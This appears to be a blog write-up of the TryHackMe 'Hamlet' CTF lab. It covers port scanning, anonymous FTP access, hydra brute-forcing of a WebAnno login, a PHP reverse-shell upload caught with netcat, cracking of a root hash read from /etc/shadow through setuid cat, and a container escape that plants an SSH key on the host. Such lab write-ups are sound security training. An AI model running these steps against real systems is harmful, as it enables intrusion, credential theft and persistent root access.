Home Try Hack Me - Hamlet
Post
Cancel

Try Hack Me - Hamlet

Challenge description

This one is a medium linux box.

Warning: be gentle on brute forcing, enumerating. It doesn’t support much load.

https://tryhackme.com/room/hamlet

description

Reconnaissance / Enumeration

Port scanning and service identification

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
$ rustscan -a $ip -r 1-65535 -- -A -sC    
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
🌍HACK THE PLANET🌍
[...]
PORT     STATE    SERVICE    REASON      VERSION
21/tcp   filtered ftp        no-response
22/tcp   open     ssh        syn-ack     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a0:ef:4c:32:28:a6:4c:7f:60:d6:a6:63:32:ac:ab:27 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5/i3O28uWolhittypXr6mAEk+XOV998o/e/3wIWpGq9J1GhtGc3J4uwYpBt7SiS3mZivq9D5jgFhqhHb6zlBsQmGUnXUnQNYyqrBmGnyl4urp5IuV1sRCdNXQdt/lf6Z9A807OPuCkzkAexFUV28eXqdXpRsXXkqgkl5DCm2WEtV7yxPIbGlcmX+arDT9A5kGTZe9rNDdqzSafz0aVKRWoTHGHuqVmq0oPD3Cc3oYfoLu7GTJV+Cy6Hxs3s6oUVcruoi1JYvbxC9whexOr+NSZT9mGxDSDLS6jEMim2DQ+hNhiT49JXcMXhQ2nOYqBXLZF0OYyNKaGdgG35CIT40z
|   256 5a:6d:1a:39:97:00:be:c7:10:6e:36:5c:7f:ca:dc:b2 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBHtt/3Q8agNKO48Zw3srosCs+bfCx47O+i4tBUX7VGMSpzTJQS3s4DBhGvrvO+d/u9B4e9ZBgWSqo+aDqGsTZxQ=
|   256 0b:77:40:b2:cc:30:8d:8e:45:51:fa:12:7c:e2:95:c7 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIN4jv01JeDGsDfhWIJMF8HBv26FI18VLpBeNoiSGbKVp
80/tcp   open     tcpwrapped syn-ack
|_http-title: Hamlet Annotation Project
| http-methods: 
|_  Supported Methods: OPTIONS GET HEAD POST
|_http-server-header: lighttpd/1.4.45
8000/tcp filtered http-alt   no-response
8080/tcp open     http-proxy syn-ack
| http-title: WebAnno - Log in 
|_Requested resource was http://hamlet.thm:8080/login.html
|_http-favicon: Spring Java Framework
| http-methods: 
|_  Supported Methods: GET HEAD POST
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 500 
|     Content-Type: application/json;charset=UTF-8
|     Date: Sat, 22 Jan 2022 19:13:27 GMT
|     Connection: close
|     {"timestamp":1642878807948,"status":500,"error":"Internal Server Error","exception":"org.springframework.security.web.firewall.RequestRejectedException","message":"The request was rejected because the URL contained a potentially malicious String "%2e"","path":"/nice%20ports%2C/Tri%6Eity.txt%2ebak"}
|   GetRequest: 
|     HTTP/1.1 302 
|     Set-Cookie: JSESSIONID=919602F6E37908EE5B677B07809B78D9; Path=/; HttpOnly
|     X-Content-Type-Options: nosniff
|     X-XSS-Protection: 1; mode=block
|     Cache-Control: no-cache, no-store, max-age=0, must-revalidate
|     Pragma: no-cache
|     Expires: 0
|     X-Frame-Options: SAMEORIGIN
|     Location: http://localhost:8080/login.html
|     Content-Length: 0
|     Date: Sat, 22 Jan 2022 19:13:22 GMT
|     Connection: close
|   HTTPOptions: 
|     HTTP/1.1 302 
|     Set-Cookie: JSESSIONID=7AE9F6DEB1D6B509402799EAE9E4EBEC; Path=/; HttpOnly
|     X-Content-Type-Options: nosniff
|     X-XSS-Protection: 1; mode=block
|     Cache-Control: no-cache, no-store, max-age=0, must-revalidate
|     Pragma: no-cache
|     Expires: 0
|     X-Frame-Options: SAMEORIGIN
|     Location: http://localhost:8080/login.html
|     Content-Length: 0
|     Date: Sat, 22 Jan 2022 19:13:22 GMT
|     Connection: close
|   RTSPRequest: 
|     HTTP/1.1 400 
|     Content-Type: text/html;charset=utf-8
|     Content-Language: en
|     Content-Length: 435
|     Date: Sat, 22 Jan 2022 19:13:26 GMT
|     Connection: close
|     <!doctype html><html lang="en"><head><title>HTTP Status 400 
|     Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400 
|_    Request</h1></body></html>
|_http-open-proxy: Proxy might be redirecting requests
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.92%I=7%D=1/22%Time=61EC5752%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,18F,"HTTP/1\.1\x20302\x20\r\nSet-Cookie:\x20JSESSIONID=919602F
SF:6E37908EE5B677B07809B78D9;\x20Path=/;\x20HttpOnly\r\nX-Content-Type-Opt
SF:ions:\x20nosniff\r\nX-XSS-Protection:\x201;\x20mode=block\r\nCache-Cont
SF:rol:\x20no-cache,\x20no-store,\x20max-age=0,\x20must-revalidate\r\nPrag
SF:ma:\x20no-cache\r\nExpires:\x200\r\nX-Frame-Options:\x20SAMEORIGIN\r\nL
SF:ocation:\x20http://localhost:8080/login\.html\r\nContent-Length:\x200\r
SF:\nDate:\x20Sat,\x2022\x20Jan\x202022\x2019:13:22\x20GMT\r\nConnection:\
SF:x20close\r\n\r\n")%r(HTTPOptions,18F,"HTTP/1\.1\x20302\x20\r\nSet-Cooki
SF:e:\x20JSESSIONID=7AE9F6DEB1D6B509402799EAE9E4EBEC;\x20Path=/;\x20HttpOn
SF:ly\r\nX-Content-Type-Options:\x20nosniff\r\nX-XSS-Protection:\x201;\x20
SF:mode=block\r\nCache-Control:\x20no-cache,\x20no-store,\x20max-age=0,\x2
SF:0must-revalidate\r\nPragma:\x20no-cache\r\nExpires:\x200\r\nX-Frame-Opt
SF:ions:\x20SAMEORIGIN\r\nLocation:\x20http://localhost:8080/login\.html\r
SF:\nContent-Length:\x200\r\nDate:\x20Sat,\x2022\x20Jan\x202022\x2019:13:2
SF:2\x20GMT\r\nConnection:\x20close\r\n\r\n")%r(RTSPRequest,24E,"HTTP/1\.1
SF:\x20400\x20\r\nContent-Type:\x20text/html;charset=utf-8\r\nContent-Lang
SF:uage:\x20en\r\nContent-Length:\x20435\r\nDate:\x20Sat,\x2022\x20Jan\x20
SF:2022\x2019:13:26\x20GMT\r\nConnection:\x20close\r\n\r\n<!doctype\x20htm
SF:l><html\x20lang=\"en\"><head><title>HTTP\x20Status\x20400\x20\xe2\x80\x
SF:93\x20Bad\x20Request</title><style\x20type=\"text/css\">body\x20{font-f
SF:amily:Tahoma,Arial,sans-serif;}\x20h1,\x20h2,\x20h3,\x20b\x20{color:whi
SF:te;background-color:#525D76;}\x20h1\x20{font-size:22px;}\x20h2\x20{font
SF:-size:16px;}\x20h3\x20{font-size:14px;}\x20p\x20{font-size:12px;}\x20a\
SF:x20{color:black;}\x20\.line\x20{height:1px;background-color:#525D76;bor
SF:der:none;}</style></head><body><h1>HTTP\x20Status\x20400\x20\xe2\x80\x9
SF:3\x20Bad\x20Request</h1></body></html>")%r(FourOhFourRequest,1A4,"HTTP/
SF:1\.1\x20500\x20\r\nContent-Type:\x20application/json;charset=UTF-8\r\nD
SF:ate:\x20Sat,\x2022\x20Jan\x202022\x2019:13:27\x20GMT\r\nConnection:\x20
SF:close\r\n\r\n{\"timestamp\":1642878807948,\"status\":500,\"error\":\"In
SF:ternal\x20Server\x20Error\",\"exception\":\"org\.springframework\.secur
SF:ity\.web\.firewall\.RequestRejectedException\",\"message\":\"The\x20req
SF:uest\x20was\x20rejected\x20because\x20the\x20URL\x20contained\x20a\x20p
SF:otentially\x20malicious\x20String\x20\\\"%2e\\\"\",\"path\":\"/nice%20p
SF:orts%2C/Tri%6Eity\.txt%2ebak\"}");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Let’s see what we got here:

  • OpenSSH 7.6p1 running on port 22
  • vsFTPd 3.0.3 running on port 21
  • lighttpd/1.4.45 running on port 80
  • Some web application named WebAnno running on port 8080
  • Apache/2.4.48 running on port 8000
  • Some unknown service running on port 501

FTP Enumeration

We can log on anonymously on the FTP server

We get access to two files:

  • ufw.status
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
Status: active

To                         Action      From
--                         ------      ----
20/tcp                     ALLOW       Anywhere                  
21/tcp                     ALLOW       Anywhere                  
22/tcp                     ALLOW       Anywhere                  
80/tcp                     ALLOW       Anywhere                  
501/tcp                    ALLOW       Anywhere                  
8080/tcp                   ALLOW       Anywhere                  
8000/tcp                   ALLOW       Anywhere                  
1603/tcp                   ALLOW       Anywhere                  
1564/tcp                   ALLOW       Anywhere                  
50000:50999/tcp            ALLOW       Anywhere                  
20/tcp (v6)                ALLOW       Anywhere (v6)             
21/tcp (v6)                ALLOW       Anywhere (v6)             
22/tcp (v6)                ALLOW       Anywhere (v6)             
80/tcp (v6)                ALLOW       Anywhere (v6)             
501/tcp (v6)               ALLOW       Anywhere (v6)             
8080/tcp (v6)              ALLOW       Anywhere (v6)             
8000/tcp (v6)              ALLOW       Anywhere (v6)             
1603/tcp (v6)              ALLOW       Anywhere (v6)             
1564/tcp (v6)              ALLOW       Anywhere (v6)             
50000:50999/tcp (v6)       ALLOW       Anywhere (v6)

Looks like there’s a firewall active on the target and we have the list of open ports. Let’s keep that in mind and keep going.

  • password-policy.md
1
2
3
4
5
6
7
8
# Password Policy

## WebAnno

New passwords should be:

- lowercase
- between 12 and 14 characters long

Port 501

I’ll be honest here, I didn’t do this one. I looked at the official walkthrough. Here’s the solution to the second flag anyway :

1
2
3
4
5
6
$ nc 10.10.245.164 501
GRAVEDIGGER
What do you call a person who builds stronger things than a stonemason, a shipbuilder, or a carpenter does?
PENTESTER
The one who builds the gallows to hang people on, since his structure outlives a thousand inhabitants.
THM{2_redacted}

Web Enumeration

Port 80

  • index.html

homepage

  • robots.txt
1
2
3
4
User-agent: *
Allow: /

THM{1_redacted}

Aaand we got the first flag

Port 8000

  • index.html

The home page shows a text file inside an iframe. Source shows us the URI to the file :

http://hamlet.thm:8000/repository/project/0/document/0/source/hamlet.txt

Port 8080

This one is the actual WebAnno application. We first get to a login page. We’ll get back to it later.

Michael’s password

To answer the task 1 we must get “Michael’s password”. From http://hamlet.thm/index.html. We know that Michael’s username is ghost and that he’s obsessed with Hamlet and the vocabulary used by Shakespeare.

We also know the password policy for WebAnno from the file we got from the FTP server. With that in hands, let’s build a custom wordlist to bruteforce Michael’s password.

1
2
3
4
5
6
$ cewl --lowercase -m 12 -d 1 http://hamlet.thm | grep -E '.{,14}' > password.txt
$ hydra -l ghost -P ./password.txt hamlet.thm -s 8080 http-post-form "/login.html?-1.-loginForm:urlfragment=&username=^USER^&password=^PASS^:F=failed"

Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service
[...]
[8080][http-post-form] host: hamlet.thm   login: ghost   password: (redacted)

We have the answer to task 1 and we can now login to WebAnno to begin exploring it.

Third flag && Fourth flag && Foothold

WebAnno exploration

Start by looking at the users list. We can see that we have admin privileges as ghost. There is another user named ophelia. Let’s abuse our privileges to change ophelia’s password and log into her account.

In the annotations section, open hamlet.txt and look at the annotations ophelia has created

annotation

This is ophelia’s password for FTP

Authenticated FTP enumeration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ ftp 10.10.245.164
Connected to 10.10.245.164.
220 (vsFTPd 3.0.3)
Name (10.10.245.164:h3x): ophelia
331 Please specify the password.
Password: 
230 Login successful.
ftp> ls
-rw-r--r--    1 1001     1001           31 Sep 16 06:19 flag
ftp> get flag flag3
local: flag3 remote: flag
100% |************************************************************|    31      308.91 KiB/s    00:00 ETA
226 Transfer complete.
31 bytes received in 00:00 (0.10 KiB/s)
ftp> exit

# 3rd flag !
$ cat flag3
THM{3_redacted}

We can also get the 4th flag from the FTP :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
ftp> ls /opt
drwx--x--x    4 0        0            4096 Sep 15 11:39 containerd
drwxr-xr-x    2 0        0            4096 Sep 15 14:46 stage
drwxr-xr-x    2 0        0            4096 Sep 15 14:46 web
ftp> ls /opt/stage
-rw-r--r--    1 0        0              29 Sep 16 06:19 flag
ftp> cd /opt/stage
ftp> ls
-rw-r--r--    1 0        0              29 Sep 16 06:19 flag
ftp> get flag flag4
local: flag4 remote: flag
100% |************************************************************|    29      283.20 KiB/s    00:00 ETA
226 Transfer complete.
29 bytes received in 00:00 (0.08 KiB/s)
ftp> exit

# 4th flag !
$ cat flag4
THM{4_redacted}

Next, we’re gonna explore the projects. There’s a Documents tab in which we can upload files. There are no restriction on the type of files we are able to upload. Let’s upload a PHP Reverse Shell. I used this one

shellupload

Now we have to execute our shell. Remember that iframe with a text file inside ? This is the key to find where our shell has been uploaded.

1
2
3
4
5
6
7
8
9
10
11
12
$ nc -lnvp 4444           
listening on [any] 4444 ...

$ curl http://hamlet.thm:8000/repository/project/0/document/1/source/shell.php

connect to [1.1.1.1] from (UNKNOWN) [10.10.245.164] 37388
SOCKET: Shell has connected! PID: 23
ls -la /
total 88
drwxr-xr-x   1 root root 4096 Sep 15 14:47 .
drwxr-xr-x   1 root root 4096 Sep 15 14:47 ..
-rwxr-xr-x   1 root root    0 Sep 15 14:47 .dockerenv

We have a foothold on the target as www-data and we’re inside a container.

Privilege Escalation

After checking the basic privilege escalation vectors, we can see that /bin/cat has the setuid bit :

1
2
3
4
5
6
7
8
9
10
find / -perm /4000 2>/dev/null
/bin/umount
/bin/mount
/bin/cat
/bin/su
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/chsh

Let’s abuse this to get the root password :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
# on target
cat /etc/shadow
root:$y$j9T$.9s2wZRY3hcP/udKIFher1$sIBIYsiMmFlXhKOO4ZDJDXo54byuq7a4xAD0k9jw2m4:18885:0:99999:7:::
[...]

cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
[...]

# on our machine
$ echo 'root:$y$j9T$.9s2wZRY3[...]q7a4xAD0k9jw2m4:18885:0:99999:7:::' > shadow
$ echo 'root:x:0:0:root:/root:/bin/bash' > passwd
$ unshadow ./passwd ./shadow > unshadowed
$ john --wordlist=/opt/wordlists/rockyou.txt ./unshadowed --format=crypt
Using default input encoding: UTF-8
Loaded 1 password hash (crypt, generic crypt(3) [?/64])
Cost 1 (algorithm [1:descrypt 2:md5crypt 3:sunmd5 4:bcrypt 5:sha256crypt 6:sha512crypt]) is 0 for all loaded hashes
Cost 2 (algorithm specific iterations) is 1 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
(REDACTED)           (root)     
1g 0:00:00:17 DONE (2022-01-24 13:37) 0.05611g/s 274.7p/s 274.7c/s 274.7C/s yessica..FUCKYOU
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

# back on target
su       
Password: (redacted)
id
uid=0(root) gid=0(root) groups=0(root)

# while we are here, let's get the 5th flag
cd /root
ls -la
total 20
drwx------ 1 root root 4096 Sep 15 14:47 .
drwxr-xr-x 1 root root 4096 Sep 15 14:47 ..
-rw-r--r-- 1 root root  571 Apr 10  2021 .bashrc
-rw-r--r-- 1 root root   24 Sep 16 06:20 .flag
-rw-r--r-- 1 root root  161 Jul  9  2019 .profile
cat .flag
THM{5_redacted}

Container escape

Start by listing disks:

1
2
3
4
5
ls -la /dev | grep disk
crw-rw----  1 root disk     10, 234 Jan 24 13:25 btrfs-control
brw-rw----  1 root disk    253,   0 Jan 24 13:25 dm-0
crw-rw----  1 root disk     10, 237 Jan 24 13:25 loop-control
[...]

Mount /dev/dm-0 to see what’s inside

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
mkdir /mnt/host
mount /dev/dm-0 /mnt/host
ls -l /mnt/host

total 4015216
drwxr-xr-x  2 root root       4096 Sep 15 11:24 bin
drwxr-xr-x  2 root root       4096 Sep 15 11:14 boot
drwxr-xr-x  2 root root       4096 Sep 15 11:15 cdrom
drwxr-xr-x  4 root root       4096 Aug  6  2020 dev
drwxr-xr-x 99 root root       4096 Sep 16 06:43 etc
drwxr-xr-x  5 root root       4096 Sep 15 14:41 home
lrwxrwxrwx  1 root root         34 Sep 15 11:16 initrd.img -> boot/initrd.img-4.15.0-156-generic
lrwxrwxrwx  1 root root         34 Sep 15 11:16 initrd.img.old -> boot/initrd.img-4.15.0-156-generic
drwxr-xr-x 23 root root       4096 Sep 15 11:39 lib
drwxr-xr-x  2 root root       4096 Aug  6  2020 lib64
drwx------  2 root root      16384 Sep 15 11:14 lost+found
drwxr-xr-x  2 root root       4096 Aug  6  2020 media
drwxr-xr-x  3 root root       4096 Sep 15 14:43 mnt
drwxr-xr-x  5 root root       4096 Sep 15 14:46 opt
drwxr-xr-x  2 root root       4096 Apr 24  2018 proc
drwx------  5 root root       4096 Sep 15 14:49 root
drwxr-xr-x 13 root root       4096 Aug  6  2020 run
drwxr-xr-x  2 root root      12288 Sep 15 11:39 sbin
drwxr-xr-x  2 root root       4096 Sep 15 11:31 snap
drwxr-xr-x  4 root root       4096 Sep 15 14:45 srv
-rw-------  1 root root 4111466496 Sep 15 11:16 swap.img
drwxr-xr-x  2 root root       4096 Apr 24  2018 sys
drwxrwxrwt  9 root root       4096 Jan 24 13:28 tmp
drwxr-xr-x 10 root root       4096 Aug  6  2020 usr
drwxr-xr-x 14 root root       4096 Sep 15 14:42 var
lrwxrwxrwx  1 root root         31 Sep 15 11:16 vmlinuz -> boot/vmlinuz-4.15.0-156-generic
lrwxrwxrwx  1 root root         31 Sep 15 11:16 vmlinuz.old -> boot/vmlinuz-4.15.0-156-generic

Now all we have to do is to add a public key to the root’s authorized_keys :

1
2
3
4
5
6
7
8
9
10
echo 'ssh-rsa AAAA[....]=' >> /mnt/host/root/.ssh/authorized_keys

$ ssh root@$ip -i ./id_rsa
root@hamlet:~# id && hostname
uid=0(root) gid=0(root) groups=0(root)
hamlet

root@hamlet:~# cat /root/flag
THM{6_redacted}

Thanks for reading <3

h3x

This post is licensed under CC BY 4.0 by the author.